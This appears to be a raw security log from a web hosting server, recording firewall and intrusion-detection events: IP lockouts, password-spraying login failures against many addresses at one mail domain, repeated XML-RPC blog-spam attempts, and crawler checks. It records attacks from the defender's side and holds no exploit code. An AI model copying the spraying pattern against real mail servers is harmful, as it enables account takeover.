rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 12 04:42:50 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.192
country_id: 6252001
domain: conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/conseilnsaftogo.org/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.205
country_id: 6252001
domain: www.conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.conseilnsaftogo.org/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.20
country_id: 6252001
domain: www.conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.conseilnsaftogo.org/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-12 04:43:09 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:64801: 535 Incorrect authentication data (set_id=git)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 12 04:43:07 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.19
country_id: 6252001
domain: conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/conseilnsaftogo.org/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.172
country_id: 6252001
domain: www.conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.conseilnsaftogo.org/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.195
country_id: 6252001
domain: conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/conseilnsaftogo.org/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.200
country_id: 6252001
domain: www.conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.conseilnsaftogo.org/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.198
country_id: 6252001
domain: conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/conseilnsaftogo.org/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.201
country_id: 6252001
domain: www.conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.conseilnsaftogo.org/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.203
country_id: 6252001
domain: www.conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.conseilnsaftogo.org/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.167
country_id: 6252001
domain: conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/conseilnsaftogo.org/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.191
country_id: 6252001
domain: conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/conseilnsaftogo.org/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:44:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.110
country_id: 3469034
description:
Jun 12 04:50:17 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.110
country_id: 3469034
description:
Jun 12 04:50:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:52:02 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5ed98d29a390e1d44a48afb98f85ffe24472074b||Title:cta54zzhl8s7y7d05||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:54:58 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ea8f9f4d9e8801718ae8b32d36e5018557bbc775||Title:l7prxjg5i76v6zi||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0187bc4ff2045e388e2f2a0d3909274eed881b5e||Title:hgawkegwr385mne8i||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:421b93020c0f2e5a8f0504962fb55a8a7ba8b7c0||Title:vd77azl86ldvere496||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a53b2ab6ad55ed5aeb0edab24b23051eaf9ed4c9||Title:5av0hay6ne7xy9||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2278d50013c6059c2275f51788d1057fc8092c0d||Title:58irl294rcalc4b||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:59:28 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:957f4771a49b96ad25b26225a8dc80d6bbf58113||Title:j5bqicxieam11bkix8||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.148.10.36
country_id: 2750405
description:
2026-06-12 05:01:06 dovecot_login authenticator failed for H=(WIN-JKGVN7T4E72) [45.148.10.36]:50241: 535 Incorrect authentication data (set_id=seee)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:346f74d953effe1ee2a4e4a47d4230b651bfc1c8||Title:bxn5azkdekbeqhb7g||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e828b3f67dc947db0f88f89ac593a73ba6b7315b||Title:gt7nhwaiarr7y1190q||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6646020d4fa1233fa64b59cb5d0fb1ac9776764a||Title:abkbvp4o7abhb0fxul||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9598f6e246393aa6ed266f6fd21f91a99d061114||Title:irl0fp41pb74jhu||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ecd98a1792a105009ce8ccd66a9142b117295d1a||Title:l9dxxqquyrzvx2u||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:75bf4c2feb4743efa80594e549358cabe8a11c5e||Title:rrhmyjmydgxprn||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-12 05:06:39 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:53190: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:07:12 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.63.213.7
country_id: 1562822
description:
2026-06-12 05:07:44 H=(localhost.localdomain) [103.63.213.7]:46888 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<info-lvtm@bdsdalat.com> rejected RCPT <info@wellcity.tg>: The mail server could not deliver mail to info@wellcity.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:07:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:711f06390bf67b45855a6541c2f5df2ea8645554||Title:2qhnsn94fwsq34l||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f4606e6605d5f81c1c4d31c9d0f69cc3b673359c||Title:7qjj40e1scqb5xi63||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 34.143.170.135
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:34.143.170.135||TA:34.143.170.135||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 92.63.204.61
country_id: 1512440
description:
2026-06-12 05:08:23 H=([185.139.138.116]) [92.63.204.61]:9463 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.57.124.133
country_id: 3865483
description:
2026-06-12 05:09:25 dovecot_plain authenticator failed for H=([69.172.210.47]) [186.57.124.133]:34734: 535 Incorrect authentication data (set_id=info@kpmg.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:94342b9d80a23a530fe894c90cfcda93b1649044||Title:bohm7lp5jkksxsc9||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 12 05:09:47 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.202.27
country_id: 99237
description:
2026-06-12 05:09:57 dovecot_plain authenticator failed for H=([69.172.210.47]) [62.201.202.27]:52002: 535 Incorrect authentication data (set_id=support@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 12 05:10:07 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.116.229.100
country_id: 2510769
description:
2026-06-12 05:10:11 dovecot_plain authenticator failed for H=([69.172.210.47]) [79.116.229.100]:44954: 535 Incorrect authentication data (set_id=marketing@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.225.232.145
country_id: 3469034
description:
2026-06-12 05:09:42 dovecot_plain authenticator failed for H=([69.172.210.47]) [186.225.232.145]:54582: 535 Incorrect authentication data (set_id=admin@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.31
country_id: 3469034
description:
Jun 12 05:09:50 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.31 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.33.46.45
country_id: 2017370
description:
2026-06-12 05:10:41 dovecot_plain authenticator failed for H=([69.172.210.47]) [62.33.46.45]:2171: 535 Incorrect authentication data (set_id=contato@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.252.93.59
country_id: 1269750
description:
Jun 12 05:10:51 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.252.93.59 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:38aa1f1ac63143ebc49a2377d214c2ba61d9e392||Title:kr5g0t6qian5otl5||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.43.254.28
country_id: 3625428
description:
2026-06-12 05:10:26 dovecot_plain authenticator failed for H=([69.172.210.47]) [38.43.254.28]:58780: 535 Incorrect authentication data (set_id=contact@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.104.75.15
country_id: 3895114
description:
2026-06-12 05:10:57 dovecot_plain authenticator failed for H=pc-15-75-104-200.cm.vtr.net ([69.172.210.47]) [200.104.75.15]:60992: 535 Incorrect authentication data (set_id=contacto@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.164.20.95
country_id: 3996063
description:
2026-06-12 05:11:16 dovecot_plain authenticator failed for H=([69.172.210.47]) [189.164.20.95]:57856: 535 Incorrect authentication data (set_id=financeiro@kpmg.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:615c6f12d6300404e8bdd077768b5e388e7e8794||Title:igb1ebrvybn523||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.195.2.184
country_id: 3469034
description:
2026-06-12 05:11:48 dovecot_plain authenticator failed for H=([69.172.210.47]) [168.195.2.184]:4703: 535 Incorrect authentication data (set_id=it@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.97.156.237
country_id: 1605651
description:
2026-06-12 05:12:03 dovecot_plain authenticator failed for H=ppp-171-97-156-237.revip8.asianet.co.th ([69.172.210.47]) [171.97.156.237]:3962: 535 Incorrect authentication data (set_id=accounts@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 12 05:11:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun 12 05:11:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.67.215.227
country_id: 1643084
description:
Jun 12 05:11:27 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.67.215.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.164.20.95
country_id: 3996063
description:
2026-06-12 05:11:23 dovecot_login authenticator failed for H=([69.172.210.47]) [189.164.20.95]:57856: 535 Incorrect authentication data (set_id=financeiro@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 12 05:11:39 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.51.44.46
country_id: 798544
description:
Jun 12 05:11:55 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.51.44.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.213.131.12
country_id: 1835841
description:
Jun 12 05:12:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.213.131.12 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.147.132.135
country_id: 6252001
domain: civilemagazine.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:142.147.132.135||TA:142.147.132.135||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.224.72.69
country_id: 99237
description:
2026-06-12 05:11:31 dovecot_plain authenticator failed for H=([69.172.210.47]) [169.224.72.69]:8644: 535 Incorrect authentication data (set_id=comercial@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.252.93.59
country_id: 1269750
description:
Jun 12 05:11:53 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.252.93.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.117.205.207
country_id: 2542007
description:
2026-06-12 05:12:18 dovecot_plain authenticator failed for H=([69.172.210.47]) [196.117.205.207]:58664: 535 Incorrect authentication data (set_id=suporte@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.245.146.219
country_id: 2017370
description:
2026-06-12 05:13:11 dovecot_plain authenticator failed for H=([69.172.210.47]) [94.245.146.219]:2095: 535 Incorrect authentication data (set_id=soporte@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.67.215.227
country_id: 1643084
description:
Jun 12 05:13:17 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.67.215.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.117.205.207
country_id: 2542007
description:
2026-06-12 05:12:25 dovecot_login authenticator failed for H=([69.172.210.47]) [196.117.205.207]:58664: 535 Incorrect authentication data (set_id=suporte@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 12 05:12:42 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.158.60.140
country_id: 1512440
description:
2026-06-12 05:12:34 dovecot_plain authenticator failed for H=([69.172.210.47]) [94.158.60.140]:51074: 535 Incorrect authentication data (set_id=hr@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.51.44.46
country_id: 798544
description:
Jun 12 05:12:46 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.51.44.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.101.64.91
country_id: 1733045
description:
2026-06-12 05:12:54 dovecot_plain authenticator failed for H=([69.172.210.47]) [118.101.64.91]:57650: 535 Incorrect authentication data (set_id=office@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.204.62.97
country_id: 3469034
description:
2026-06-12 05:13:42 dovecot_plain authenticator failed for H=([69.172.210.47]) [186.204.62.97]:19549: 535 Incorrect authentication data (set_id=clients@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.184.202.61
country_id: 1168579
description:
2026-06-12 05:13:58 dovecot_plain authenticator failed for H=([69.172.210.47]) [182.184.202.61]:33846: 535 Incorrect authentication data (set_id=info@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.24.134.242
country_id: 2017370
description:
2026-06-12 05:13:26 dovecot_plain authenticator failed for H=([69.172.210.47]) [213.24.134.242]:1843: 535 Incorrect authentication data (set_id=ventas@kpmg.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-15.213.32.21.59||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:17:19 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-12 05:17:29 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:61207: 535 Incorrect authentication data (set_id=git)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:17:28 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 12 05:17:27 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 52.178.152.212
country_id: 2963597
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:q||MV:59--des-consommateurs-ivoiriens-ont-deja-utilise-lia-pour-leurs-achats-mais-la-confiance-reste-decisive-au-moment-du-paiement||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 89.218.250.130
country_id: 1522867
description:
2026-06-12 05:22:11 H=([89.218.250.130]) [89.218.250.130]:64143 F=<dba.moyenmono@ceni.tg> rejected RCPT <dba.moyenmono@ceni.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 12 05:23:45 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.209
country_id: 1880251
description:
47.128.96.209 - - [12/Jun/2026:05:25:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737617&pdata=https%253A%252F%252Fca-togo.org%252Fimp%252Fenglish%252Findex1.php%253FpageID%253D5&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781241900 HTTP/2.0" 302 0 ca-togo.org "https://ca-togo.org/imp/english/index1.php?pageID=5" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.209


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:25:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.166
country_id: 1880251
description:
